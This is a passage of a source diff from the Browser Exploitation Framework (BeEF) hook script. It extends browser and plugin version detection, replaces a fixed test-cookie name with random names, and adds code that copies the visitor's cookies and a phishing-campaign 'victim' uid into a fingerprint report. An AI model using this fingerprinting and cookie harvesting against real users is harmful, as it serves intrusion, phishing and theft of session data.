return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS();
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC43() || this.isC42iOS();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -822,6 +1030,19 @@ beef.browser = {
|
||||
return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns a hash of string keys representing a given capability
|
||||
* @example: beef.browser.capabilities()["navigator.plugins"]
|
||||
*/
|
||||
capabilities: function () {
|
||||
var out = {};
|
||||
var type = this.type();
|
||||
|
||||
out["navigator.plugins"] = (type.IE11 || !type.IE);
|
||||
|
||||
return out;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of browser being used.
|
||||
* @example: beef.browser.type().IE6
|
||||
@@ -881,7 +1102,20 @@ beef.browser = {
|
||||
C35iOS: this.isC35iOS(), // Chrome 35 on iOS
|
||||
C36: this.isC36(), // Chrome 36
|
||||
C36iOS: this.isC36iOS(), // Chrome 36 on iOS
|
||||
|
||||
C37: this.isC37(), // Chrome 37
|
||||
C37iOS: this.isC37iOS(), // Chrome 37 on iOS
|
||||
C38: this.isC38(), // Chrome 38
|
||||
C38iOS: this.isC38iOS(), // Chrome 38 on iOS
|
||||
C39: this.isC39(), // Chrome 39
|
||||
C39iOS: this.isC39iOS(), // Chrome 39 on iOS
|
||||
C40: this.isC40(), // Chrome 40
|
||||
C40iOS: this.isC40iOS(), // Chrome 40 on iOS
|
||||
C41: this.isC41(), // Chrome 41
|
||||
C41iOS: this.isC41iOS(), // Chrome 41 on iOS
|
||||
C42: this.isC42(), // Chrome 42
|
||||
C43: this.isC43(), // Chrome 43
|
||||
C42iOS: this.isC42iOS(), // Chrome 42 on iOS
|
||||
|
||||
C: this.isC(), // Chrome any version
|
||||
|
||||
FF2: this.isFF2(), // Firefox 2
|
||||
@@ -911,8 +1145,19 @@ beef.browser = {
|
||||
FF24: this.isFF24(), // Firefox 24
|
||||
FF25: this.isFF25(), // Firefox 25
|
||||
FF26: this.isFF26(), // Firefox 26
|
||||
FF26: this.isFF27(), // Firefox 27
|
||||
FF26: this.isFF28(), // Firefox 28
|
||||
FF27: this.isFF27(), // Firefox 27
|
||||
FF28: this.isFF28(), // Firefox 28
|
||||
FF29: this.isFF29(), // Firefox 29
|
||||
FF30: this.isFF30(), // Firefox 30
|
||||
FF31: this.isFF31(), // Firefox 31
|
||||
FF32: this.isFF32(), // Firefox 32
|
||||
FF33: this.isFF33(), // Firefox 33
|
||||
FF34: this.isFF34(), // Firefox 34
|
||||
FF35: this.isFF35(), // Firefox 35
|
||||
FF36: this.isFF36(), // Firefox 36
|
||||
FF37: this.isFF37(), // Firefox 37
|
||||
FF38: this.isFF38(), // Firefox 38
|
||||
FF39: this.isFF39(), // Firefox 39
|
||||
FF: this.isFF(), // Firefox any version
|
||||
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
@@ -933,6 +1178,8 @@ beef.browser = {
|
||||
S4: this.isS4(), // Safari 4.xx
|
||||
S5: this.isS5(), // Safari 5.xx
|
||||
S6: this.isS6(), // Safari 6.x
|
||||
S7: this.isS7(), // Safari 7.x
|
||||
S8: this.isS8(), // Safari 8.x
|
||||
S: this.isS() // Safari any version
|
||||
}
|
||||
},
|
||||
@@ -1145,6 +1392,59 @@ beef.browser = {
|
||||
return '36'
|
||||
}
|
||||
; // Chrome 36 for iOS
|
||||
if (this.isC37()) {
|
||||
return '37'
|
||||
}
|
||||
; // Chrome 37
|
||||
if (this.isC37iOS()) {
|
||||
return '37'
|
||||
}
|
||||
; // Chrome 37 for iOS
|
||||
if (this.isC38()) {
|
||||
return '38'
|
||||
}
|
||||
; // Chrome 38
|
||||
if (this.isC38iOS()) {
|
||||
return '38'
|
||||
}
|
||||
; // Chrome 38 for iOS
|
||||
if (this.isC39()) {
|
||||
return '39'
|
||||
}
|
||||
; // Chrome 39
|
||||
if (this.isC39iOS()) {
|
||||
return '39'
|
||||
}
|
||||
; // Chrome 39 for iOS
|
||||
if (this.isC40()) {
|
||||
return '40'
|
||||
}
|
||||
; // Chrome 40
|
||||
if (this.isC40iOS()) {
|
||||
return '40'
|
||||
}
|
||||
; // Chrome 40 for iOS
|
||||
if (this.isC41()) {
|
||||
return '41'
|
||||
}
|
||||
; // Chrome 41
|
||||
if (this.isC41iOS()) {
|
||||
return '41'
|
||||
}
|
||||
; // Chrome 41 for iOS
|
||||
if (this.isC42()) {
|
||||
return '42'
|
||||
}
|
||||
; // Chrome 42
|
||||
if (this.isC43()) {
|
||||
return '43'
|
||||
}
|
||||
;
|
||||
if (this.isC42iOS()) {
|
||||
return '42'
|
||||
}
|
||||
; // Chrome 42 for iOS
|
||||
|
||||
if (this.isFF2()) {
|
||||
return '2'
|
||||
}
|
||||
@@ -1261,6 +1561,50 @@ beef.browser = {
|
||||
return '28'
|
||||
}
|
||||
; // Firefox 28
|
||||
if (this.isFF29()) {
|
||||
return '29'
|
||||
}
|
||||
; // Firefox 29
|
||||
if (this.isFF30()) {
|
||||
return '30'
|
||||
}
|
||||
; // Firefox 30
|
||||
if (this.isFF31()) {
|
||||
return '31'
|
||||
}
|
||||
; // Firefox 31
|
||||
if (this.isFF32()) {
|
||||
return '32'
|
||||
}
|
||||
; // Firefox 32
|
||||
if (this.isFF33()) {
|
||||
return '33'
|
||||
}
|
||||
; // Firefox 33
|
||||
if (this.isFF34()) {
|
||||
return '34'
|
||||
}
|
||||
; // Firefox 34
|
||||
if (this.isFF35()) {
|
||||
return '35'
|
||||
}
|
||||
; // Firefox 35
|
||||
if (this.isFF36()) {
|
||||
return '36'
|
||||
}
|
||||
; // Firefox 36
|
||||
if (this.isFF37()) {
|
||||
return '37'
|
||||
}
|
||||
; // Firefox 37
|
||||
if (this.isFF38()) {
|
||||
return '38'
|
||||
}
|
||||
; // Firefox 38
|
||||
if (this.isFF39()) {
|
||||
return '39'
|
||||
}
|
||||
; // Firefox 39
|
||||
|
||||
if (this.isIE6()) {
|
||||
return '6'
|
||||
@@ -1300,6 +1644,15 @@ beef.browser = {
|
||||
}
|
||||
; // Safari 6
|
||||
|
||||
if (this.isS7()) {
|
||||
return '7'
|
||||
}
|
||||
; // Safari 7
|
||||
if (this.isS8()) {
|
||||
return '8'
|
||||
}
|
||||
; // Safari 8
|
||||
|
||||
if (this.isO9_52()) {
|
||||
return '9.5'
|
||||
}
|
||||
@@ -1419,8 +1772,7 @@ beef.browser = {
|
||||
|
||||
var quicktime = false;
|
||||
|
||||
// Not Internet Explorer
|
||||
if (!this.type().IE) {
|
||||
if (this.capabilities()["navigator.plugins"]) {
|
||||
|
||||
for (i = 0; i < navigator.plugins.length; i++) {
|
||||
|
||||
@@ -1430,7 +1782,7 @@ beef.browser = {
|
||||
|
||||
}
|
||||
|
||||
// Internet Explorer
|
||||
// Has navigator.plugins
|
||||
} else {
|
||||
|
||||
try {
|
||||
@@ -1461,8 +1813,8 @@ beef.browser = {
|
||||
|
||||
var realplayer = false;
|
||||
|
||||
// Not Internet Explorer
|
||||
if (!this.type().IE) {
|
||||
if (this.capabilities()["navigator.plugins"]) {
|
||||
|
||||
|
||||
for (i = 0; i < navigator.plugins.length; i++) {
|
||||
|
||||
@@ -1472,7 +1824,7 @@ beef.browser = {
|
||||
|
||||
}
|
||||
|
||||
// Internet Explorer
|
||||
// has navigator.plugins
|
||||
} else {
|
||||
|
||||
var definedControls = [
|
||||
@@ -1512,8 +1864,8 @@ beef.browser = {
|
||||
|
||||
var wmp = false;
|
||||
|
||||
// Not Internet Explorer
|
||||
if (!this.type().IE) {
|
||||
if (this.capabilities()["navigator.plugins"]) {
|
||||
|
||||
|
||||
for (i = 0; i < navigator.plugins.length; i++) {
|
||||
|
||||
@@ -1523,7 +1875,7 @@ beef.browser = {
|
||||
|
||||
}
|
||||
|
||||
// Internet Explorer
|
||||
// Has navigator.plugins
|
||||
} else {
|
||||
|
||||
try {
|
||||
@@ -1656,8 +2008,8 @@ beef.browser = {
|
||||
return r;
|
||||
};
|
||||
|
||||
// Internet Explorer
|
||||
if (this.isIE()) this.getPluginsIE();
|
||||
// Things lacking navigator.plugins
|
||||
if (!this.capabilities()["navigator.plugins"]) this.getPluginsIE();
|
||||
|
||||
// All other browsers that support navigator.plugins
|
||||
else if (navigator.plugins && navigator.plugins.length > 0) {
|
||||
@@ -1778,16 +2130,6 @@ beef.browser = {
|
||||
catch (e) {
|
||||
}
|
||||
}},
|
||||
'Silverlight_Plug-In': {
|
||||
'control': 'Silverlight Plug-In',
|
||||
'return': function (control) {
|
||||
try {
|
||||
version = navigator.plugins['Silverlight Plug-In']["description"];
|
||||
return 'Silverlight Plug-In Version ' + version;//+ " description "+ filename;
|
||||
}
|
||||
catch (e) {
|
||||
}
|
||||
}},
|
||||
'FoxitReader_Plugin': {
|
||||
'control': 'FoxitReader Plugin',
|
||||
'return': function (control) {
|
||||
@@ -1943,7 +2285,17 @@ beef.browser = {
|
||||
var page_uri = (document.location.href) ? document.location.href : "Unknown";
|
||||
var page_referrer = (document.referrer) ? document.referrer : "Unknown";
|
||||
var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
|
||||
var hostport = (document.location.port) ? document.location.port : "80";
|
||||
switch (document.location.protocol) {
|
||||
case "http:":
|
||||
var default_port = "80";
|
||||
break;
|
||||
case "https:":
|
||||
var default_port = "443";
|
||||
break
|
||||
default:
|
||||
var default_port = "";
|
||||
}
|
||||
var hostport = (document.location.port) ? document.location.port : default_port;
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var date_stamp = new Date().toString();
|
||||
var os_name = beef.os.getName();
|
||||
@@ -1964,15 +2316,14 @@ beef.browser = {
|
||||
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
|
||||
var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
|
||||
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
|
||||
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
|
||||
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
|
||||
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
|
||||
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
|
||||
var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No";
|
||||
try {
|
||||
var cookies = document.cookie;
|
||||
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No";
|
||||
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No";
|
||||
var veglol = beef.browser.cookie.veganLol();
|
||||
var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No";
|
||||
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No";
|
||||
if (cookies) details['Cookies'] = cookies;
|
||||
if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
|
||||
if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
|
||||
@@ -2011,11 +2362,27 @@ beef.browser = {
|
||||
if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
|
||||
if (has_webrtc) details['HasWebRTC'] = has_webrtc;
|
||||
if (has_activex) details['HasActiveX'] = has_activex;
|
||||
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
|
||||
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
|
||||
if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
|
||||
if (has_wmp) details['HasWMP'] = has_wmp;
|
||||
if (has_foxit) details['HasFoxit'] = has_foxit;
|
||||
|
||||
var pf_integration = "<%= @phishing_frenzy_enable %>";
|
||||
if (pf_integration) {
|
||||
var pf_param = "uid";
|
||||
var pf_victim_uid = "";
|
||||
var location_search = window.location.search.substring(1);
|
||||
var params = location_search.split('&');
|
||||
for (var i = 0; i < params.length; i++) {
|
||||
var param_entry = params[i].split('=');
|
||||
if (param_entry[0] == pf_param) {
|
||||
pf_victim_uid = param_entry[1];
|
||||
details['PhishingFrenzyUID'] = pf_victim_uid;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
details['PhishingFrenzyUID'] = "N/A";
|
||||
}
|
||||
|
||||
return details;
|
||||
},
|
||||
@@ -2218,11 +2585,12 @@ beef.browser = {
|
||||
/**
|
||||
* Get the browser language
|
||||
*/
|
||||
getBrowserLanguage: function(){
|
||||
getBrowserLanguage: function () {
|
||||
var l = 'Unknown';
|
||||
try{
|
||||
l = window.navigator.userLanguage || window.navigator.language;
|
||||
}catch(e){}
|
||||
try {
|
||||
l = window.navigator.userLanguage || window.navigator.language;
|
||||
} catch (e) {
|
||||
}
|
||||
return l;
|
||||
},
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -71,12 +71,36 @@ beef.browser.cookie = {
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
veganLol: function (){
|
||||
var to_hell= '';
|
||||
var min = 17;
|
||||
var max = 25;
|
||||
var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
|
||||
var grunt = function(){
|
||||
var moo = Math.floor(Math.random() * 62);
|
||||
var char = '';
|
||||
if(moo < 36){
|
||||
char = String.fromCharCode(moo + 55);
|
||||
}else{
|
||||
char = String.fromCharCode(moo + 61);
|
||||
}
|
||||
if(char != ';' && char != '='){
|
||||
return char;
|
||||
}else{
|
||||
return 'x';
|
||||
}
|
||||
};
|
||||
|
||||
while(to_hell.length < lol_length){
|
||||
to_hell += grunt();
|
||||
}
|
||||
return to_hell;
|
||||
},
|
||||
|
||||
hasSessionCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', '', '/', '', '' );
|
||||
hasSessionCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
@@ -84,11 +108,8 @@ beef.browser.cookie = {
|
||||
|
||||
},
|
||||
|
||||
hasPersistentCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', 1, '/', '', '' );
|
||||
hasPersistentCookies: function (name){
|
||||
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,129 +1,159 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.hardware = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
ua: navigator.userAgent,
|
||||
|
||||
cpuType: function() {
|
||||
// IE
|
||||
if (typeof navigator.cpuClass != 'undefined') {
|
||||
cpu = navigator.cpuClass;
|
||||
if (cpu == "x86") return "32-bit";
|
||||
if (cpu == "68K") return "Motorola 68K";
|
||||
if (cpu == "PPC") return "Motorola PPC";
|
||||
if (cpu == "Alpha") return "Digital";
|
||||
if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
|
||||
if (this.ua.match('Win64; x64')) return "64-bit (AMD)";
|
||||
// Firefox
|
||||
/*
|
||||
* @return: {String} CPU type
|
||||
**/
|
||||
cpuType: function() {
|
||||
// IE
|
||||
if (typeof navigator.cpuClass != 'undefined') {
|
||||
cpu = navigator.cpuClass;
|
||||
if (cpu == "x86") return "32-bit";
|
||||
if (cpu == "68K") return "Motorola 68K";
|
||||
if (cpu == "PPC") return "Motorola PPC";
|
||||
if (cpu == "Alpha") return "Digital";
|
||||
if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
|
||||
if (this.ua.match('Win64; x64')) return "64-bit (AMD)";
|
||||
// Firefox
|
||||
} else if (typeof navigator.oscpu != 'undefined') {
|
||||
if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
|
||||
}
|
||||
if (navigator.platform.toLowerCase() == "win64") return "64-bit";
|
||||
return "32-bit";
|
||||
},
|
||||
if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
|
||||
}
|
||||
if (navigator.platform.toLowerCase() == "win64") return "64-bit";
|
||||
return "32-bit";
|
||||
},
|
||||
|
||||
isTouchEnabled: function() {
|
||||
if ('ontouchstart' in document) return true;
|
||||
return false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isTouchEnabled: function() {
|
||||
if ('ontouchstart' in document) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isVirtualMachine: function() {
|
||||
if (screen.width % 2 || screen.height % 2) return true;
|
||||
return false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isVirtualMachine: function() {
|
||||
if (screen.width % 2 || screen.height % 2) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isLaptop: function() {
|
||||
// Most common laptop screen resolution
|
||||
if (screen.width == 1366 && screen.height == 768) return true;
|
||||
// Netbooks
|
||||
if (screen.width == 1024 && screen.height == 600) return true;
|
||||
return false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isLaptop: function() {
|
||||
// Most common laptop screen resolution
|
||||
if (screen.width == 1366 && screen.height == 768) return true;
|
||||
// Netbooks
|
||||
if (screen.width == 1024 && screen.height == 600) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
|
||||
},
|
||||
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if the browser is on a Mobile Phone
|
||||
* @return: {Boolean} true or false
|
||||
*
|
||||
* @example: if(beef.hardware.isMobilePhone()) { ... }
|
||||
**/
|
||||
isMobilePhone: function() {
|
||||
return DetectMobileQuick();
|
||||
},
|
||||
/**
|
||||
* Returns true if the browser is on a Mobile Phone
|
||||
* @return: {Boolean} true or false
|
||||
*
|
||||
* @example: if(beef.hardware.isMobilePhone()) { ... }
|
||||
**/
|
||||
isMobilePhone: function() {
|
||||
return DetectMobileQuick();
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
var ua = navigator.userAgent.toLowerCase();
|
||||
if(DetectIphone()) { return "iPhone"};
|
||||
if(DetectIpod()) { return "iPod Touch"};
|
||||
if(DetectIpad()) { return "iPad"};
|
||||
if (this.isHtc()) { return 'HTC'};
|
||||
if (this.isMotorola()) { return 'Motorola'};
|
||||
if (this.isZune()) { return 'Zune'};
|
||||
if (this.isGoogle()) { return 'Google Nexus One'};
|
||||
if (this.isEricsson()) { return 'Ericsson'};
|
||||
if(DetectAndroidPhone()) { return "Android Phone"};
|
||||
if(DetectAndroidTablet()) { return "Android Tablet"};
|
||||
if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
|
||||
if(ua.search(deviceS60) > -1) { return "Nokia S60"};
|
||||
if(ua.search(deviceS70) > -1) { return "Nokia S70"};
|
||||
if(ua.search(deviceS80) > -1) { return "Nokia S80"};
|
||||
if(ua.search(deviceS90) > -1) { return "Nokia S90"};
|
||||
if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
|
||||
if (this.isNokia()) { return 'Nokia'};
|
||||
if(DetectWindowsPhone7()) { return "Windows Phone 7"};
|
||||
if(DetectWindowsMobile()) { return "Windows Mobile"};
|
||||
if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
|
||||
if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
|
||||
if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
|
||||
if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
|
||||
if(DetectBlackBerry()) { return "BlackBerry"};
|
||||
if(DetectPalmOS()) { return "Palm OS"};
|
||||
if(DetectPalmWebOS()) { return "Palm Web OS"};
|
||||
if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
|
||||
if(DetectArchos()) { return "Archos"}
|
||||
if(DetectBrewDevice()) { return "Brew"};
|
||||
if(DetectDangerHiptop()) { return "Danger Hiptop"};
|
||||
if(DetectMaemoTablet()) { return "Maemo Tablet"};
|
||||
if(DetectSonyMylo()) { return "Sony Mylo"};
|
||||
if(DetectAmazonSilk()) { return "Kindle Fire"};
|
||||
if(DetectKindle()) { return "Kindle"};
|
||||
if(DetectSonyPlaystation()) { return "Playstation"};
|
||||
if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
|
||||
if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
|
||||
if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
|
||||
if(DetectXbox()) { return "Xbox"};
|
||||
if(this.isLaptop()) { return "Laptop"};
|
||||
if(this.isVirtualMachine()) { return "Virtual Machine"};
|
||||
getName: function() {
|
||||
var ua = navigator.userAgent.toLowerCase();
|
||||
if(DetectIphone()) { return "iPhone"};
|
||||
if(DetectIpod()) { return "iPod Touch"};
|
||||
if(DetectIpad()) { return "iPad"};
|
||||
if (this.isHtc()) { return 'HTC'};
|
||||
if (this.isMotorola()) { return 'Motorola'};
|
||||
if (this.isZune()) { return 'Zune'};
|
||||
if (this.isGoogle()) { return 'Google Nexus One'};
|
||||
if (this.isEricsson()) { return 'Ericsson'};
|
||||
if(DetectAndroidPhone()) { return "Android Phone"};
|
||||
if(DetectAndroidTablet()) { return "Android Tablet"};
|
||||
if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
|
||||
if(ua.search(deviceS60) > -1) { return "Nokia S60"};
|
||||
if(ua.search(deviceS70) > -1) { return "Nokia S70"};
|
||||
if(ua.search(deviceS80) > -1) { return "Nokia S80"};
|
||||
if(ua.search(deviceS90) > -1) { return "Nokia S90"};
|
||||
if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
|
||||
if (this.isNokia()) { return 'Nokia'};
|
||||
if(DetectWindowsPhone7()) { return "Windows Phone 7"};
|
||||
if(DetectWindowsMobile()) { return "Windows Mobile"};
|
||||
if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
|
||||
if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
|
||||
if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
|
||||
if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
|
||||
if(DetectBlackBerry()) { return "BlackBerry"};
|
||||
if(DetectPalmOS()) { return "Palm OS"};
|
||||
if(DetectPalmWebOS()) { return "Palm Web OS"};
|
||||
if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
|
||||
if(DetectArchos()) { return "Archos"}
|
||||
if(DetectBrewDevice()) { return "Brew"};
|
||||
if(DetectDangerHiptop()) { return "Danger Hiptop"};
|
||||
if(DetectMaemoTablet()) { return "Maemo Tablet"};
|
||||
if(DetectSonyMylo()) { return "Sony Mylo"};
|
||||
if(DetectAmazonSilk()) { return "Kindle Fire"};
|
||||
if(DetectKindle()) { return "Kindle"};
|
||||
if(DetectSonyPlaystation()) { return "Playstation"};
|
||||
if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
|
||||
if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
|
||||
if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
|
||||
if(DetectXbox()) { return "Xbox"};
|
||||
if(this.isLaptop()) { return "Laptop"};
|
||||
if(this.isVirtualMachine()) { return "Virtual Machine"};
|
||||
|
||||
return 'Unknown';
|
||||
}
|
||||
return 'Unknown';
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.hardware');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
